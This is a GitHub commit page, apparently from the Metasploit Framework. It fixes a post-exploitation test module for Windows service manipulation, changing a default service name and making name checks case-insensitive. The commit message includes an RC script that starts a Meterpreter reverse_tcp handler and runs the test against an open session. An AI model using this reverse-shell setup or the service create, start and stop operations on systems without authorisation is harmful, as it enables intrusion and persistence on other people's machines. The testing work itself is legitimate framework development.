Skip to content

Commit 0c94536

Browse files
author
Brent Cook
committed
make post service manipulation tests work
Fix a funny default service name, adjust test to be case-agnostic. winmgmt on Windows XP and Windows 8 have different capitalization for this service. I'm not sure why it's a module parameter though - the test will still fail if its anything other than winmgmt. The following RC script has 7 successful outputs when run against a reverse_tcp shell. Run a reverse_tcp stager and the following RC script to run the test ``` loadpath test/modules use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.43.1 run -j sleep 5 use post/test/services set SESSION 1 run ``` Note: this test still doesn't run very reliably on windows 8 unless you're using the code from rapid7/meterpreter#107 and rapid7#4411, though it runs ok on Windows XP.
1 parent c96c8a0 commit 0c94536

File tree

1 file changed

+15
-3
lines changed

1 file changed

+15
-3
lines changed

test/modules/post/test/services.rb

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info={})
2929
register_options(
3030
[
3131
OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]),
32-
OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]),
32+
OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "test"]),
3333
OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]),
3434
OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]),
3535
OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]),
@@ -69,7 +69,18 @@ def test_list
6969

7070
ret &&= results.kind_of? Array
7171
ret &&= results.length > 0
72-
ret &&= results.include? datastore["QSERVICE"]
72+
73+
# Adjust the QSERVICE to match the case of the service name. This is used
74+
# later in test_info, which is case-sensitive.
75+
found = false
76+
results.each do |service|
77+
if service.downcase == datastore["QSERVICE"].downcase
78+
datastore["QSERVICE"] = service.to_s
79+
found = true
80+
break
81+
end
82+
end
83+
ret &&= found
7384

7485
ret
7586
end
@@ -83,7 +94,8 @@ def test_info
8394
ret &&= results.kind_of? Hash
8495
if ret
8596
ret &&= results.has_key? "Name"
86-
ret &&= (results["Name"] == "Windows Management Instrumentation")
97+
ret &&= ([results["Name"]] &
98+
["Windows Management Instrumentation", "@%Systemroot%\\system32\\wbem\\\wmisvc.dll,-205"]).any?
8799
ret &&= results.has_key? "Startup"
88100
ret &&= results.has_key? "Command"
89101
ret &&= results.has_key? "Credentials"

0 commit comments

Comments
 (0)